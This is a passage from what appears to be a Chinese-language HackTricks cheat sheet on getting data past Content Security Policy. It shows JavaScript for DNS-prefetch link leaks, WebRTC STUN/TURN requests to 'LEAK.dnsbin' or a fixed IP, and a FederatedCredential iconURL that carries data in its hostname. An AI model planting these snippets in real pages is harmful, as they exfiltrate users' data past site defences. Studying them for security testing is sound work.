linkEl.href = urlWithYourPreciousData
document.head.appendChild(linkEl)
为防止发生这种情况,服务器可以发送 HTTP header:
X-DNS-Prefetch-Control: off
tip
据称,该技术在 headless browsers (bots) 中不起作用
WebRTC
在多处页面上你可以看到 WebRTC 不会检查 CSP 的 connect-src
策略。
实际上你可以使用 DNS request 来 leak 信息。查看以下代码:
;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
p.createDataChannel("")
p.setLocalDescription(await p.createOffer())
})()
另一种选择:
var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
CredentialsContainer
凭据弹窗向 iconURL 发送 DNS 请求,不受页面限制。它仅在安全上下文 (HTTPS) 或在 localhost 上生效。
navigator.credentials.store(
new FederatedCredential({
id:"satoki",
name:"satoki",
provider:"https:"+your_data+"example.com",
iconURL:"https:"+your_data+"example.com"
})
)
在线检查 CSP 策略
自动生成 CSP
https://csper.io/docs/generating-content-security-policy
参考资料
- https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/
- https://lcamtuf.coredump.cx/postxss/
- https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d
- https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme
- https://www.youtube.com/watch?v=MCyPuOWs3dg
- https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/
- https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/
- https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket
- The Art of PHP: CTF‑born exploits and techniques
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。